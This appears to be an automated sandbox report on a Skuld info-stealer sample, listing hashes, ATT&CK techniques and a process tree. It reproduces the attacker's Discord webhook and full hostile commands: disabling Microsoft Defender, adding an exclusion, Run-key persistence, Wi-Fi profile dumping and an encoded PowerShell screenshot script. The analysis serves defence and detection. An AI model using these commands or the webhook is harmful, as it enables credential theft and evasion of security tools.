skuld | b314a11a49d471019fd51f31ddd80c69ae3dbd374c3664a40eeb8ffed9338037

Analysis

max time kernel
150s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
15/08/2026, 03:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
b314a11a49d471019fd51f31ddd80c69ae3dbd374c3664a40eeb8ffed9338037.exe
Size 11.7MB
Sample260815-dkr5mayta1
SHA256 b314a11a49d471019fd51f31ddd80c69ae3dbd374c3664a40eeb8ffed9338037
MD5 e569da896706e9ec972dc3a49e616d12
SHA1 aabdb970e4c4589e5c15f67c9b16b467dc66c41e
SHA512 741430eaf179d3679c59ce2bb3a512867bbc5c0c70199d2c8c7dbf5b3912cbc6acb9437b8be8545820f8b15bfd357ff0d0ae82f0a65fae80d5a3b47399eb0bf2
SSDEEP 196608:OU8is9DkSEWcJ2uZpGFSg1HPR9MWr9SlgmEbZFdbcP+agilrp2DzpO3qtOZnEBRN:OU8is59C2u3Vg5PR9MWBPomahlr4g2Oq
TLSH
T1E6C6238B7CE540B6C4BA93324CA312913A71BC450F3227D72EA0B7782FB6BD15976B54
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution skuld persistence privilege_escalation spyware stealer trojan

Malware Config

Extracted

Family

skuld

https://discord.com/api/webhooks/1537811722486948001/rFCoHdBC74sTQK9lm9nCVddaKQd2W1xloaBEja-7_kp79qha2ga-Fa6Mf644i9VQp0NB

Signatures

Family: Skuld stealer
An info stealer written in Go lang.
stealer skuld

Detects SkuldStealer 1 IoCs

resource	yara_rule
behavioral1/files/0x00060000000231d3-4.dat	family_skuld

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1648	powershell.exe
3736	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
3736	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	RtkAud64.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\International\Geo\Nation	b314a11a49d471019fd51f31ddd80c69ae3dbd374c3664a40eeb8ffed9338037.exe

Executes dropped EXE 1 IoCs

pid	Process
4568	RtkAud64.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	RtkAud64.exe

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
5	discord.com
6	discord.com
7	api.gofile.io
8	api.gofile.io

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
9	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	RtkAud64.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	RtkAud64.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4272	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3588	wmic.exe

Modifies system certificate store 2 TTPs 1 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	RtkAud64.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
1648	powershell.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
1648	powershell.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
3736	powershell.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
3736	powershell.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe
4568	RtkAud64.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4568	RtkAud64.exe
Token: SeDebugPrivilege	1648	powershell.exe
Token: SeIncreaseQuotaPrivilege	3636	wmic.exe
Token: SeSecurityPrivilege	3636	wmic.exe
Token: SeTakeOwnershipPrivilege	3636	wmic.exe
Token: SeLoadDriverPrivilege	3636	wmic.exe
Token: SeSystemProfilePrivilege	3636	wmic.exe
Token: SeSystemtimePrivilege	3636	wmic.exe
Token: SeProfSingleProcessPrivilege	3636	wmic.exe
Token: SeIncBasePriorityPrivilege	3636	wmic.exe
Token: SeCreatePagefilePrivilege	3636	wmic.exe
Token: SeBackupPrivilege	3636	wmic.exe
Token: SeRestorePrivilege	3636	wmic.exe
Token: SeShutdownPrivilege	3636	wmic.exe
Token: SeDebugPrivilege	3636	wmic.exe
Token: SeSystemEnvironmentPrivilege	3636	wmic.exe
Token: SeRemoteShutdownPrivilege	3636	wmic.exe
Token: SeUndockPrivilege	3636	wmic.exe
Token: SeManageVolumePrivilege	3636	wmic.exe
Token: 33	3636	wmic.exe
Token: 34	3636	wmic.exe
Token: 35	3636	wmic.exe
Token: 36	3636	wmic.exe
Token: SeIncreaseQuotaPrivilege	3636	wmic.exe
Token: SeSecurityPrivilege	3636	wmic.exe
Token: SeTakeOwnershipPrivilege	3636	wmic.exe
Token: SeLoadDriverPrivilege	3636	wmic.exe
Token: SeSystemProfilePrivilege	3636	wmic.exe
Token: SeSystemtimePrivilege	3636	wmic.exe
Token: SeProfSingleProcessPrivilege	3636	wmic.exe
Token: SeIncBasePriorityPrivilege	3636	wmic.exe
Token: SeCreatePagefilePrivilege	3636	wmic.exe
Token: SeBackupPrivilege	3636	wmic.exe
Token: SeRestorePrivilege	3636	wmic.exe
Token: SeShutdownPrivilege	3636	wmic.exe
Token: SeDebugPrivilege	3636	wmic.exe
Token: SeSystemEnvironmentPrivilege	3636	wmic.exe
Token: SeRemoteShutdownPrivilege	3636	wmic.exe
Token: SeUndockPrivilege	3636	wmic.exe
Token: SeManageVolumePrivilege	3636	wmic.exe
Token: 33	3636	wmic.exe
Token: 34	3636	wmic.exe
Token: 35	3636	wmic.exe
Token: 36	3636	wmic.exe
Token: SeIncreaseQuotaPrivilege	1392	wmic.exe
Token: SeSecurityPrivilege	1392	wmic.exe
Token: SeTakeOwnershipPrivilege	1392	wmic.exe
Token: SeLoadDriverPrivilege	1392	wmic.exe
Token: SeSystemProfilePrivilege	1392	wmic.exe
Token: SeSystemtimePrivilege	1392	wmic.exe
Token: SeProfSingleProcessPrivilege	1392	wmic.exe
Token: SeIncBasePriorityPrivilege	1392	wmic.exe
Token: SeCreatePagefilePrivilege	1392	wmic.exe
Token: SeBackupPrivilege	1392	wmic.exe
Token: SeRestorePrivilege	1392	wmic.exe
Token: SeShutdownPrivilege	1392	wmic.exe
Token: SeDebugPrivilege	1392	wmic.exe
Token: SeSystemEnvironmentPrivilege	1392	wmic.exe
Token: SeRemoteShutdownPrivilege	1392	wmic.exe
Token: SeUndockPrivilege	1392	wmic.exe
Token: SeManageVolumePrivilege	1392	wmic.exe
Token: 33	1392	wmic.exe
Token: 34	1392	wmic.exe
Token: 35	1392	wmic.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1040 wrote to memory of 4568	1040	b314a11a49d471019fd51f31ddd80c69ae3dbd374c3664a40eeb8ffed9338037.exe	85
PID 4568 wrote to memory of 4260	4568	RtkAud64.exe	87
PID 4568 wrote to memory of 1648	4568	RtkAud64.exe	88
PID 4568 wrote to memory of 3636	4568	RtkAud64.exe	89
PID 4568 wrote to memory of 4988	4568	RtkAud64.exe	92
PID 4568 wrote to memory of 1392	4568	RtkAud64.exe	93
PID 4568 wrote to memory of 3736	4568	RtkAud64.exe	94
PID 4568 wrote to memory of 3588	4568	RtkAud64.exe	95
PID 4568 wrote to memory of 1712	4568	RtkAud64.exe	96
PID 4568 wrote to memory of 4040	4568	RtkAud64.exe	97
PID 4568 wrote to memory of 60	4568	RtkAud64.exe	98
PID 4568 wrote to memory of 4272	4568	RtkAud64.exe	110
PID 4568 wrote to memory of 3276	4568	RtkAud64.exe	111
PID 3276 wrote to memory of 3932	3276	powershell.exe	112
PID 3932 wrote to memory of 1952	3932	csc.exe	113

Views/modifies file attributes 1 TTPs 4 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4260	attrib.exe
4988	attrib.exe
60	attrib.exe
4040	attrib.exe

C:\Users\Admin\AppData\Local\Temp\b314a11a49d471019fd51f31ddd80c69ae3dbd374c3664a40eeb8ffed9338037.exe
"C:\Users\Admin\AppData\Local\Temp\b314a11a49d471019fd51f31ddd80c69ae3dbd374c3664a40eeb8ffed9338037.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1040
- C:\Users\Admin\AppData\Local\Temp\RtkAud64.exe
  "C:\Users\Admin\AppData\Local\Temp\RtkAud64.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Adds Run key to start application
  - Modifies trusted root certificate store through registry
  - Modifies system certificate store
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4568
- - C:\Windows\system32\attrib.exe
    attrib +h +s C:\Users\Admin\AppData\Local\Temp\RtkAud64.exe
    3⤵
    - Views/modifies file attributes
    PID:4260
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\RtkAud64.exe
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1648
- - C:\Windows\System32\Wbem\wmic.exe
    wmic os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3636
- - C:\Windows\system32\attrib.exe
    attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
    3⤵
    - Views/modifies file attributes
    PID:4988
- - C:\Windows\System32\Wbem\wmic.exe
    wmic cpu get Name
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1392
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Disables one or more Microsoft Defender components
    - Suspicious behavior: EnumeratesProcesses
    PID:3736
- - C:\Windows\System32\Wbem\wmic.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:3588
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get UUID
    3⤵
    PID:1712
- - C:\Windows\system32\attrib.exe
    attrib -r C:\Windows\System32\drivers\etc\hosts
    3⤵
    - Drops file in Drivers directory
    - Views/modifies file attributes
    PID:4040
- - C:\Windows\system32\attrib.exe
    attrib +r C:\Windows\System32\drivers\etc\hosts
    3⤵
    - Drops file in Drivers directory
    - Views/modifies file attributes
    PID:60
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4272
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3276
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xvxtkdsf\xvxtkdsf.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3932
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
